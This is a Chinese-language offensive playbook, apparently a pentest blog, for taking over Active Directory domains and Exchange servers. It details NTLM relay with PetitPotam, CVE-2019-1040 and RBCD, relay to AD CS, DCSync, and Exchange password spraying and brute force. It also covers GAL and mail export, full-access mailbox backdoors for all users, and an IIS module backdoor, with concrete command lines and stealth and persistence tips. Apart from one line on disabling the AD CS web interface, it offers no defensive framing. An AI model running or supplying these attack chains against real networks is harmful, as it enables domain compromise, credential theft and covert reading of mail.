如果发起NTLM认证请求的用户是位于Enterprise Admins或Domain Admins族中的特权用户,就可以将其NTLM请求中继到LDAP,并在域中创建一个拥有DCSync权限的用户
执行以下命令,在恶意服务器上启动ntlmrelayx.py监听
1 | |

通过前文介绍的方法,诱使域管理员向恶意服务器发起NTLM验证
攻击过程顺利的话,能利用LDAP服务新建一个域用户账号,拥有DCSync操作权限
发起DCSync攻击
1 | |
利用user1用户导出域内用户哈希值
对于未启用SSL/TLS的LDAP,可以通过–escalate-user选项将现有用户提升为拥有DCSync操作权限的用户。发起NTLM请求的用户必须拥有对域的WriteDACL权限。通常情况下,Exchange服务器的权限很高,其机器账户默认拥有WriteDACL权限
RBCD+petitpotam+CVE-2019-1040接管全域
利用PetitPotam,可以指定域内的一台服务器,并使其对攻击者选择的目标进行身份验证。
而且在低版本(08和12)的情况下,可以匿名触发,不需要域用户。在16版本以上,就需要指定一个普通域用户账号和密码了。
**复现: **
网文,本地域控是server08,复现不成功。
**1、**添加计算机账户
1 | |

**2、**开启中继
1 | |
3、触发PetitPotam
1 | |
(这里是server2012,不需要指定用户名密码)



PS 如果是server2016以上,触发方式为:
1 | |
4、获取票据
这里我重新搭建了域环境,所以机器名变了
1 | |
5、 加载票据使用
1 | |

1 | |

原理分析
阶段 A:诱导认证 (PetitPotam)
- 原理:PetitPotam 利用了
MS-EFSR(加密文件系统远程协议)中的EfsRpcOpenFileRaw接口。这个接口允许一个机器指示另一台机器尝试连接到一个路径。 - 作用:你让 域控 (192.168.164.147) 主动通过 SMB 协议向你的 攻击机 (192.168.164.128) 发起认证。
- 关键点:在低版本中这是匿名的,这意味着你不需要任何凭据就能让 DC 乖乖把它的机器账户凭据发给你。
阶段 B:绕过签名检测 (CVE-2019-1040)
- 原理:原本 NTLM 认证包中有一个 MIC(消息完整性检查) 字段,用来防止认证包被篡改。CVE-2019-1040 漏洞允许攻击者在重放时修改 NTLM 标志位(例如取消“必需签名”的标记)并删除 MIC,而接收方(LDAP 服务器)却不会报错。
- 作用:你的
ntlmrelayx.py使用了--remove-mic参数。这使得攻击者可以将原本强制要求签名的 SMB 认证,成功中继到对安全性有一定要求但存在缺陷的 LDAP 服务上。
阶段 C:资源委派攻击 (RBCD)
这是你利用的核心。
- 原理:在 Active Directory 中,有一种委派方式叫“基于资源的限制性委派(RBCD)”。它允许一台计算机(机器 A)自己决定谁可以委派给它,而不需要域管干预。
- 动作:
- 你先手动添加了一个计算机账号
rbcd1$。 ntlmrelayx将中继过来的 DC 权限,用来修改 DC 自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性。- 结果:你把
rbcd1$写入了这个属性。现在,DC 认为rbcd1$是一个被信任的、可以代表任何用户(包括 Administrator)访问 DC 服务的账号。
- 你先手动添加了一个计算机账号
阶段 D:票据伪造与接管 (S4U2Self / S4U2Proxy)
- 原理:利用
rbcd1$的凭据,使用getST.py。这个工具会触发 Kerberos 协议扩展:- S4U2Self:代表
Administrator向自己申请一个票据。 - S4U2Proxy:用上一步的票据,代表
Administrator向 DC 申请一个访问cifs(文件共享)服务的服务票据(ST)。
- S4U2Self:代表
- 最后利用:有了
administrator的票据,你就可以通过psexec获得 DC 的 Shell,或者用secretsdump导出整个域的krbtgt哈希。
命令拆解
第一步:创建受控身份
命令: python3 addcomputer.py -method SAMR ... -computer-name rbcd1 -computer-pass 123456 ...
- 原理分析: 在域环境中,默认情况下任何一个普通域用户都有权限将最多 10台 计算机加入域(由
ms-DS-MachineAccountQuota属性决定)。 - 为什么要这么做? 后续的 RBCD(资源委派)攻击需要一个**拥有服务主体名称(SPN)**的账户作为“受托人”。普通用户没有 SPN,但计算机账户(以
$结尾)在创建时会自动生成 SPN。这一步是在域内建立一个由攻击者完全控制的“内应”账号。
第二步:配置中继引擎
命令: python3 ntlmrelayx.py -t ldap://DC_IP --delegate-access --escalate-user rbcd1$ --remove-mic
- 原理分析: 这是攻击的中枢。它开启了一个伪造的服务器,等待别人来认证。
ldap://:我们将认证中继到 LDAP 协议,因为 LDAP 可以用来修改域数据库。--remove-mic(核心/CVE-2019-1040):正常 NTLM 认证有 MIC(消息完整性检查)防止篡改。这个漏洞让我们能强行剔除这个校验,从而在转发过程中修改 NTLM 标志位,欺骗 LDAP 服务器接受不需要签名的连接。--delegate-access:告诉工具,一旦中继成功,立刻执行 RBCD 攻击。--escalate-user rbcd1$:具体操作是将第一步创建的rbcd1$写入目标(域控)的msDS-AllowedToActOnBehalfOfOtherIdentity属性中。
第三步:强制诱导认证
命令: python3 Petitpotam.py 攻击IP 域控IP
- 原理分析: 这是“点火”步骤。PetitPotam 利用了
MS-EFSR协议的漏洞,强制域控(DC)的机器账户向攻击者指定的 IP 发起 NTLM 认证。 - 攻击效果: DC 被欺骗,认为它需要访问攻击者的“文件共享”。于是,DC 会把自己的机器账户(如
DC$)的凭据发给攻击者的ntlmrelayx。 - 注意点:在 Server 2012/08 中不需要密码即可触发,这让攻击门槛降到了最低。
第四步:伪造管理员票据
命令: python3 getST.py -dc-ip DC_IP test/rbcd1$:123456 -spn cifs/DC_Name -impersonate administrator
- 原理分析: 此时,第二步已经成功。域控的属性里写着:“我信任
rbcd1$,它提的要求我都答应”。- Kerberos 扩展协议 (S4U):
getST利用了S4U2self和S4U2proxy两个扩展。 - 操作逻辑:
rbcd1$拿着它在域控那里的“特权卡”,向 KDC(密钥分发中心)谎称:“我是受Administrator委托,来申请访问你这台机器cifs服务的票据的。”
- Kerberos 扩展协议 (S4U):
- 结果:你获得了一个属于
Administrator的 服务票据(Service Ticket),存储为.ccache文件。
第五步:完全接管
命令: psexec.py -no-pass -k ... 或 secretsdump.py -no-pass -k ...
- 原理分析: 这一步是最终的“收割”。
-k:告诉工具使用 Kerberos 协议进行认证,而不是 NTLM。-no-pass:因为你已经有了第四步生成的.ccache票据,不需要知道管理员的真实密码。
- 攻击效果:
psexec会利用票据直接获取 DC 的系统权限。secretsdump则会直接从 DC 内存和数据库中提取出所有域用户的哈希(包括krbtgt),此时你已经掌握了整个森林的命脉。
中继至AD CS利用
AD CS提供的数字证书可用于对电子文档和消息进行加密和数字签名
AD CS的证书颁发机构Web注册(Web接口),支持NTLM身份验证,并且不支持签名保护
利用思路:
- 利用PrintBug或PetitPotam,迫使域控制器使用机器账户发起NTLM认证请求
- 将NTLM请求中继到AD CS的证书颁发机构Web注册接口,通过验证获得域控机器账户的身份
- 利用证书模板为域控机器账户申请证书
- 利用申请到的证书申请用于Kerberos认证的高权限票据,从而获取域控制器的权限
在恶意服务器上启动ntlmrelayx.py监听
1 | |
执行以下命令,通过PetitPotam迫使域控制器向恶意服务器发起NTLM认证请求
1 | |
此时,ntlmrelayx.py将截获域控机器账户(DC-1$)的Net-NTLM Hash,并将其中继到AD CS服务的Web接口进行认证,之后将为DC-1$账户生成Base64格式的证书
获得的证书可以通过Rubeus请求TGT票据。在域中普通用户的机器上执行以下命令,申请域控机器账户的TGT票据,并将票证缓存到当前会话中
1 | |
持有域控机器账户的票据可以执行一些特权操作,如通过DCSync转存域用户哈希值
1 | |
防御思路
- 禁用AD CS证书申请Web接口
Exchange攻击专题
前面提到Exchange服务器一般有公网ip,这会让攻击者比较容易入手攻击
Exchange服务发现和信息收集
版本识别
在登录界面查看网页源代码:

其中 15.1.2106.2 就是当前 exchange 的版本,在 Mircosoft 网站上根据版本号就可以直接查询:
请求 /owa、/owa/service 等路径,在返回头 X-OWA-Version: 中查看完整的内部版本号,比如 15.1.2375.7
直接访问 /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application,下载下来的 xml 文档中会包含完整的内部版本号
相关工具
域内定位 Exchange 服务器
ldap 定位
在域内可以使用 ldap 定位, 过滤规则
1 | |
spn 定位
通过 spn 来定位,windows 自带 setspn。
1 | |
端口扫描
1 | |
Exchange会默认开放邮件服务需要的端口和HTTP服务,可以利用端口扫描识别指纹信息
通过 DNS 查询定位
1 | |
信息泄露
IP
访问以下接口,HTTP 协议版本修改成 1.0,去掉 http 头里面的 HOST 参数,服务器会返回其ip地址,往往是其内网ip
1
2
3
4
5/OWA
/Autodiscover
/Exchange
/ecp
/aspnet_clientmsf
1
2use auxiliary/scanner/http/owa_iis_internal_ip
# 脚本里面限定了内网IP范围,如果企业是自定义的内网IP,可能无法获取到IP,https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb#L79nmap
原理是客户端发起NTLM认证请求时,服务器会在type2的返回包携带服务器的基础信息,解开可以获取
这里使用nmap的NTLM信息收集脚本
1
nmap x.x.x.x -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dllpython
Exchange凭证获取
常规爆破
通常情况下,Exchange 系统是不对邮箱登录次数做限制,利用大字典来进行爆破,是最为常见的突破方法。
Exchange 邮箱的登录账号分为三种形式, 分别为 “domain\username”、“username” 和“user@domain(邮件地址)”, 这三种方式可以并存使用, 也可以限制具体一种或两种使用。
具体使用哪一种用户名登录可以根据登录口的提示确定, 但这并不百分百准确, 管理员通过修改配置或者登录页面, 可以自行设置登录方式, 和提示说明。因此如果直接使用 owa 页面爆破, 用户名需要尝试全部三种方式。
爆破方式使用 burp 即可, 通过返回包长短即可判断成功与否。
对于某些限制登录次数的网站, 还可以尝试对其 NTLM 验证接口进行爆破, 最常见的就是 ews 接口, 但除此之外,还有以下接口地址。
HTTP 直接认证
1
2/ecp # Exchange 管理中心,管理员用于管理组织中的Exchange 的Web控制台
/owa # Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等HTTP NTLM 认证
1
2
3
4
5
6
7
8
9
10
11/Autodiscover/Autodiscover.xml # 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登录使用邮箱的流程。
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync # 用于移动应用程序访问电子邮件
/Autodiscover
/Rpc/ # 早期的 Outlook 还使用称为 Outlook Anywhere 的 RPC 交互
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS/ # Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/OAB/ # 用于为Outlook客户端提供地址簿的副本,减轻 Exchange 的负担
/Mapi # Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/powershell # 用于服务器管理的 Exchange 管理控制台由于这些接口支持 NTLM 认证,因此也能 pth 域用户账户。甚至,
/rpc接口的[MS-OXNSPI]协议还能 pth 域机器账户。
爆破邮箱账户步骤,首先确定目标 AD 域名,再爆破用户名,最后爆破密码。值得一提的是,不是每个域用户都有邮箱账户,邮箱账户需要 Exchange 管理员手动给域用户添加。如果密码爆破成功后出现 未找到 ISLAND\domain_admin 的邮箱 的提示,则说明该账户未开通邮箱,但这个账户也是有效的域用户账户。
可以利用以下工具进行爆破
grayddq/EBurst - 这个脚本主要提供对 Exchange 邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。
sensepost/ruler
- 爆破 Exchange
1
./ruler --domain https://targetdomain.com/autodiscover/autodiscover.xml -k brute --users /path/to/user.txt --passwords /path/to/passwords.txt -v --threads 5 --delay 0
获取 AD 域名
在 Windows 进行 NTLM 认证时,无论输入的凭证是否正确,返回的 ntlmssp 包中都会带上大量系统相关信息:包括 NetBIOS 域名、NetBIOS 机器名、DNS 域名、DNS 机器名等。攻击者需要从 HTTP NTLM 认证的接口泄露 AD 域名,来配合接下来的用户名爆破。
1 | |
用户名爆破
Exchange 存在基于时间的用户名枚举问题,Exchange 2016 版本的表现为:爆破到真实存在的域用户(无论是否开通邮箱账户)时,其响应开始接收时间会更短(不是完整响应时间)。
经过传统的邮箱收集加上一定的高频用户名形成用户名字典后,需要为字典设置三种格式:domain\username、username、user@domain。Exchange 管理员可以任意配置使用一种或多种格式,因此爆破的时候最好带上所有格式。
Burp 爆破
在没有验证码或者可以绕过的情况下,用 burp 爆破 /ecp、/owa 接口,在爆破结果中选择 Intruder -> Columns -> Response received,查看响应开始接收时间更短的用户名,即存在的域用户。
脚本爆破
1
2
3
4# MailSniper.ps1
# 支持 /owa、/Microsoft-Server-ActiveSync
Invoke-UsernameHarvestEAS -ExchHostname 192.168.123.123 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txt
Invoke-UsernameHarvestOWA -ExchHostname 192.168.123.123 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txtSMTP
通过 SMTP 协议枚举:邮箱存在会返回 250,不存在返回 500。但如果目标邮服配置了 Catch-all 邮箱,则所有发往目标邮服的无效邮箱都会被 Catch-all 邮箱接收,即无论邮箱是否存在都会返回 250。
密码喷洒
在获得 AD 域名和存在的用户名后,可以通过多个接口爆破 Exchange。
Burp 爆破
在没有验证码或者可以绕过的情况下,用 burp 爆破
/ecp、/owa接口。脚本爆破
1
2
3
4
5
6
7
8
9# EBurst 最推荐
# EBurst 支持所有接口爆破,-C 检查目标开放的接口,再指定存活接口爆破。建议 /ews 或默认
python2 EBurst.py -d 192.168.123.123 -L username.txt -p 123456 -T 10
python2 EBurst.py -d 192.168.123.123 -C
# MailSniper.ps1 仅支持 /OWA /EWS /Microsoft-Server-ActiveSync 接口,推荐 /ews
Invoke-PasswordSprayEWS -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayOWA -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEAS -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
Password Spray
Exchange服务限制用户登录次数,可以利用Password Spray思路进行破解
Password Spray是指采用一些少量常见的密码,针对大量用户进行暴力破解,以绕过对同一用户的登录次数限制
简单说就是小密码字典,大用户字典
同样利用Eburst工具进行爆破即可
域中NTLM-Relay攻击Outlook客户端进行权限提升
前置准备
在内网具备一个基础用户(机器)的账户权限时,可以通过NTLM-Relay方式对特定具备高权限的邮箱用户进行攻击
这里选择攻击domain admins组的administrator用户,并relay到LDAP服务,给test用户添加DCSync权限。执行此攻击,需要具备以下条件
- 拥有内网普通账号及凭据
- 内网具备应该可以作为中继的主机权限,需要内网中可以通LDAP服务的代理服务器
- 目标使用Outlook接收邮件。(Outlook会自动渲染邮件源的HTML内容,导致知道用户查看邮件就会触发HTTP请求)
Windows会在什么情况下携带本机登录凭据
通过UNC进行访问,但是445是非常高危的端口。许多运营商选择将该端口封锁
基于HTTP的默认凭据携带,查看IE的安全设置,默认访问内网域的HTTP服务时会自动登录。Intranet域包括My Computer,Local Intranet Zone,Trusted Site Zone。因为中继攻击需要Windows主机发起请求到测试人员的中继服务器上,所以Windows主机的本地信任对中继攻击并没有帮助,只需关注Trusted Site Zone(受信任的站点)即可

AD域的子域名包含在受信任的站点中,所以客户端访问子域下的HTTP服务时,会默认携带本地凭据(Chrome,Firefox等浏览器不依赖IE的安全设置,所以通用浏览器不能使用该技巧自动携带凭据)
判断是否处于Intranet域的方法:
通过非完整的FQDN信息就能访问到对应服务,一般处于Intranet域中
这方法触及了 Windows 域环境中一个非常核心且方便的机制:DNS 后缀自动搜索(DNS Suffix Search)。
在解释这句话之前,我们先明确两个概念:
- FQDN (Full Qualified Domain Name):全限定域名。例如
webserver01.prod.corp.com.,它包含了从主机名到根域的完整路径,在互联网上具有唯一性。 - 非完整 FQDN (Short Name/Hostname):仅包含主机名。例如
webserver01。
在 Intranet(内网)域环境中,你只需要输入 webserver01 就能访问服务,是因为系统在背后帮你完成了**“域名自动补全”**。
核心机制:DNS 后缀补全
当你加入一个域(例如 test.com)时,你的 Windows 客户端会自动配置一个主 DNS 后缀。
- 工作原理:当你尝试访问
http://portal时,系统发现这不是一个完整的域名。 - 自动拼接:系统会查阅自己的“DNS 后缀列表”,依次尝试拼接。例如先尝试
portal.test.com。 - 解析成功:如果内网 DNS 服务器上有
portal.test.com的记录,它会返回 IP。对你而言,就像是直接通过portal这个简短的名字访问到了服务。
利用cmd检测
1 | |
exchange-2012就是非完整的FQDN信息,如果能收到回复,说明处于内网域
为了成功触发默认凭据的携带,攻击者不能使用完整的FQDN或者ip。当使用FQDN和ip访问http服务时,计算机会默认认定正在访问Internet域,不会默认携带本机凭据
攻击流程
利用内网权限添加一条DNS记录。借用Powermad工具,可以快速在域中添加一条DNS记录。这里使用test用户添加一条中继至A记录的指向内网代理机器(建立隧道完成攻击机端口转发的内网机器 192.168.30.128)
1
powershell.exe -exec bypass -c "import-module .\Powemad.ps1New-ADIDNSNode -Node relay -Type A -Data 192.168.30.128"-Node relay: 指定新创建的 DNS 记录的主机名。执行后,内网中就会多出一个名为relay.test.com(假设域名是 test.com)的解析记录。-Type A: 指定记录类型为 A 记录(即主机记录),用于将域名映射到 IPv4 地址。-Data 192.168.52.120: 指定解析的目标 IP。这个 IP 就是你控制的**“代理机器”**(通常运行着ntlmrelayx或Responder)。
执行完此命令后可以执行 ping relay检测DNS记录是否添加成功
在代理服务器上配置中继脚本,利用Impacket的ntlmrelayx完成中继攻击,该脚本部署在被控制的LDAP服务器上,这里以为test用户赋予dcsync权限为目标
1
impacket -ntlmrelayx -t ldap://192.168.30.10 --no-dump --no-da --escalate-user test发送邮件触发Outlook HTTP请求,发送包含 “
“源内容的邮件给高权限用户
当用户使用Outlook打开邮件时,即使不点击也会自动触发img请求,由于我们使用的是不完整FQDN信息,会默认在内网域中,HTTP请求携带凭据到配置中继的服务器,之后为test用户设置DCSYNC权限
攻击解析
步骤一
在 Exchange 渗透或 NTLM Relay 攻击中,通过 Powermad(或类似工具)在域内添加 DNS 记录,本质上是在进行名称解析劫持(DNS Poisoning/Hijacking)。
这个步骤的真正目的是:将原本合法的流量平滑地“钓”到你控制的机器上,从而截获认证凭据。
以下是详细的原理分析:
- 核心逻辑:制造一个“合法”的诱饵
在 Exchange 环境中,很多服务(如 Autodiscover、OWA、或是内部邮件通信)都依赖 DNS 找到服务器。
- 常规状态:用户访问
mail.test.com-> DNS 返回真实的 Exchange 服务器 IP。 - 你的操作:利用
test用户(普通域用户权限默认即可),在域 DNS 区域中添加一条新的 A 记录或修改现有记录(如autodiscover.test.com),将其指向你控制的代理机器。
- 为什么要中继到“内网代理机器”?
这条 DNS 记录就像一个路牌,它告诉内网的所有客户端(包括 Exchange 服务器本身):“如果你想访问某个服务,请来找这台代理机器。”
当 Exchange 服务器尝试与其组件通信,或者用户尝试登录时:
触发认证:由于目标 IP 变成了你的代理机,受害者会尝试与你建立连接。
请求凭据:你的代理机(运行着
ntlmrelayx或Responder)会向受害者发起 NTLM 认证请求。捕获与中继:受害者会乖乖交出 NTLM 哈希。你的代理机收到后,通过你之前配置好的隧道,将其重放到真正的 Exchange 服务器或域控。
在 Exchange 场景下的具体应用
这个步骤通常是为了配合以下攻击:
- Autodiscover 攻击: Exchange 客户端会自动寻找
autodiscover.域名。如果你通过 Powermad 添加了这条记录指向你的代理机,所有内网 Outlook 客户端在尝试同步邮件时,都会把用户的 NTLM 认证信息发给你。 - 针对 Exchange 服务器本身的认证重放 (PrivExchange/PushSubscription): 某些漏洞允许你强制 Exchange 服务器(SYSTEM 权限)向指定地址发起认证。如果你的 DNS 记录能让 Exchange 认为你的机器是一个“信任的内部节点”,它会毫无戒备地发送 机器账户的 NTLM 凭据。
- 注:拿下 Exchange 的机器账户权限通常意味着可以通过 DCSync 拿下整个域。
命令各个部分的详细拆解:
1 | |
- 基础环境准备部分
powershell.exe: 启动 PowerShell 解释器。-exec bypass: 全称是-ExecutionPolicy Bypass。这是一种绕过策略,允许执行未签名的脚本(如.ps1文件)。它不会更改注册表设置,仅针对当前进程有效。-c: 全称是-Command,表示后面跟着的是要执行的具体 PowerShell 指令字符串。
- 核心逻辑部分
import-module .\Powermad.ps1: 加载当前目录下的Powermad脚本模块。Powermad是一个专门用于利用域内 DNS 动态更新特性的开源工具。New-ADIDNSNode: 这是Powermad模块中的核心函数。它的作用是在活动目录集成 DNS(ADIDNS)中创建一个新的 DNS 节点。
- 参数配置部分
-Node relay: 指定新创建的 DNS 记录的主机名。执行后,内网中就会多出一个名为relay.test.com(假设域名是 test.com)的解析记录。-Type A: 指定记录类型为 A 记录(即主机记录),用于将域名映射到 IPv4 地址。-Data 192.168.52.120: 指定解析的目标 IP。这个 IP 就是你控制的**“代理机器”**(通常运行着ntlmrelayx或Responder)。
攻击原理深度解析:为什么要这么做?
在 Windows 域环境中,默认情况下,任何经过身份验证的用户(Authenticated Users)都有权限在 Active Directory 区域创建新的 DNS 记录。
这条命令在攻击链条中起到了**“交通管制”**的作用:
- 合法性伪装:通过在域 DNS 上直接添加记录,比传统的 ARP 欺骗或 LLMNR 投毒更稳定。所有的域内机器(包括 Exchange、DC)都会完全信任这条来自官方 DNS 服务器的记录。
- 流量勾引:
- 如果你在攻击 Exchange,你可以把这个节点命名为
autodiscover。 - 当内网用户的 Outlook 尝试连接
autodiscover.test.com时,DNS 会告诉它们:“去访问192.168.52.120吧!”。
- 如果你在攻击 Exchange,你可以把这个节点命名为
- 捕获凭证: 受害者机器(如 Exchange 服务器或普通用户电脑)会携带其 NTLM 凭据去访问你的代理机(
192.168.52.120)。你的代理机收到后,就可以将其**中继(Relay)**到真正的高权限接口(如 LDAP, AD CS 或 EWS)来获取权限。
步骤二
- 命令参数深度解析
ntlmrelayx: Impacket 工具包中的核心组件,负责接收 NTLM 认证并将其重放到目标服务。-t ldap://192.168.30.10:-t(Target): 指定中继的目标。ldap://: 关键点!我们将认证重放到 LDAP 协议。这是因为 LDAP 允许我们通过修改活动目录对象属性来改变权限。192.168.30.10: 这通常是**域控制器(DC)**的 IP 地址。
--no-dump: 告诉工具在中继成功后不要尝试导出(Dump)整个域的哈希。因为我们的目标是特定提权,而不是暴力拖库。--no-da: 告诉工具不要尝试直接将用户加入Domain Admins(域管理员)组。这种操作动作太大,容易被安全软件(EDR)监控到。--escalate-user test(核心指令): 这是本步骤的灵魂。它指示工具:一旦中继到具备足够权限的身份(如 DC 自身的机器账户),立即在 LDAP 中修改test用户的 ACL(访问控制列表)。
- 攻击原理:DCSync 权限赋予
在 Windows 域中,导出所有用户哈希(DCSync)并不需要你是域管,只需要你的账户拥有以下两条特定的扩展权限:
- Replicating Directory Changes
- Replicating Directory Changes All
逻辑链路如下:
诱导:由于你之前做了 DNS 记录,域控(DC)或者其他高权机器尝试访问你的代理机。
拦截:代理机上的
ntlmrelayx拦截到了 DC 的机器账户(DC$)认证。重放:
ntlmrelayx将这个DC$的认证包发回给 DC 的 LDAP 服务。提权:DC 收到请求,一看是“自己人”发来的,于是允许执行修改操作。
ntlmrelayx借此机会,在 LDAP 数据库里给test用户加上了上述两条 DCSync 权限。为什么这个步骤比“加入域管组”更高级?
- 隐蔽性极高:大多数安全审计会盯着“谁加入了域管组”,但很少有工具能实时监控“某个普通用户的 ACL 权限被微调了”。
- 权限持久化:即便管理员清理了域管组,只要
test用户的这些 ACL 特权还在,你随时可以执行secretsdump导出krbtgt哈希。 - 绕过防御:如果目标开启了 LDAP 签名,但你利用了类似 CVE-2019-1040 的漏洞(添加
--remove-mic参数),你依然可以成功中继。
- 成功后的下一步是什么?
一旦这条命令执行成功并提示 Successfully granted DCSync rights to test,你就不再需要中继了。你可以在内网任何一台机器上执行:
Bash
1 | |
此时,原本普通的 test 用户已经可以直接从域控拉取 krbtgt 的哈希,进而制作黄金票据(Golden Ticket),实现对全域的永久接管。
获取用户凭据后的信息收集和渗透
通过Autodiscover进行信息收集
接口https://
请求包格式
< EMailAddress>需要是Exchange中已注册的用户邮箱,但不需要与用于认证的账号对应
1 | |
< AD> -> 域控地址(域控FQDN)
< server> -> Exchange RPC标识
< OABUrl>->包含Offline Address Book(OAB)文件的目录的路径

获取Exchange通讯录
全局地址列表GAL包含Exchange组织所有邮箱用户的邮件地址,只要活得Exchange组织内任意邮箱用户的凭据,就能导出其他邮箱用户的邮件地址
利用OWA直接查看
1 | |
通过/EWS接口获取GAL
dafthack/MailSniper - 通过 /EWS 指定搜索条件获取 GAL,类似于爆破,很慢。
1 | |
1 | |
通过OAB获取GAL
请求 <OABUrl>/oab.xml 页面并列出 OAB 文件:

找到其中 Default Global Address List (默认全局地址列表) 对应的 lzx 文件名称,lzx 文件名称为 fd1e35ac-08ef-4e4c-a6fc-b8b88c69c7b2-data-1.lzx
访问 /OAB/OABURL/LZXURL 下载 lzx 文件
1 | |
对 lzx 文件解码,还原出 Default Global Address List
1 | |
通过RPC导出
impacket - 通过 /RPC 接口配合 [MS-OXNSPI] 和 [MS-NSPI] 协议直接获取 AD 中的地址簿信息,最快。
1 | |
1 | |
邮件导出
如果爆出了密码,直接 web 端访问 /OWA 登录查看。
如果获得了 hash,可以 pth 后 Invoke-SelfSearch 访问 /ews 查看:
1 | |
相关工具
- b0bac/GetMail - 利用NTLM Hash读取Exchange邮件
搜索共享文件
老版本 Exchange 支持查看域内文件共享,且支持移动端通过 /Microsoft-Server-ActiveSync 远程访问网络内部的共享文件。在 Exchange 2010 及其后续版本中,删除了 Outlook 的文件共享权限,但通过 /Microsoft-Server-ActiveSync 接口依然可以。
1 | |
在实战中,如果已经拿下域机器了,这个手法的使用意义不大。但是如果在域外,或者是直接攻击互联网上的 Exchange,这种手法不失为一种收集共享文件的方法,配合下面的方法收集域内所有主机名再查询共享文件效果更佳。
获取服务器权限后的渗透
Exchange服务器在内网中一般有WriteACL的高权限
服务器信息收集
使用命令行管理Exchange服务器
确定Exchange安装路径
1 | |
调用控制台文件执行一些操作
1 | |
1 | |
邮件跟踪日志
可以提取收件人,发件人,邮件主题,发件ip等信息
位于%ExchangeInstallPath%\TransportRoles\Logs\MessageTracking\ 目录下
用户邮件导出
1 | |
邮箱接管后门种植
常用的访问其他用户邮箱的方式
- 添加impersonation(模拟),授予一个用户代表另一用户执行工作的权限,可以与/EWS接口结合,对目标邮箱操控
- 添加fullaccess(完全访问)权限授予一个用户对另一用户邮箱查看,添加和删除邮箱内容的权限,可以直接在/OWA接口操作,主要用于邮件分析
给test账户授予所有邮箱的完全访问权限,利用/OWA接口进行监控:
遍历用户(除了test)
1
PowerShell.exe -PSConsoleFile "%ExchangeInstallPath%\\bin\exshell.ps1" -Command "Get-Mailbox -ResultSize unlimited -Filter ((RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'test'))"添加所有用户邮箱完全访问权限
1
PowerShell.exe -PSConsoleFile "%ExchangeInstallPath%\\bin\exshell.ps1" -Command "Get-Mailbox -ResultSize unlimited -Filter ((RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'test')) | Add=MailboxPermission -User test@hack-my.com -AccessRights full access -InheritanceType all -AutoMapping:$false"利用test用户登录OWA
利用test已登录的凭据,可以直接访问其他邮箱用户
IIS模块后门
添加本地模块注入后门程序
利用IIS-RAID(https://github.com/0x09AL/IIS-Raid)
具体使用教程:https://cloud.tencent.com/developer/article/2086475
在Exchange上加载后门,爆出证书信任错误需要在request发起请求时添加verify=False
1 | |
连接后门
1 | |
DCSYNC攻击
之前提到Exchange服务是有WriteACL权限的,可以对LDAP服务用户属性中添加DS-Replication-Get-Changes和DS-Replication-Get-Changes-All属性的值,添加sync权限代码
Exchange服务机器账户默认具备WriteACL权限,需要先获取机器凭据
具体操作:
- 利用mimikatz获取到服务器哈希值
- 通过LDAP查询到user1的SID
- 连接LDAP服务,添加DCSYNC需要的属性
- 利用impacket进行验证攻击


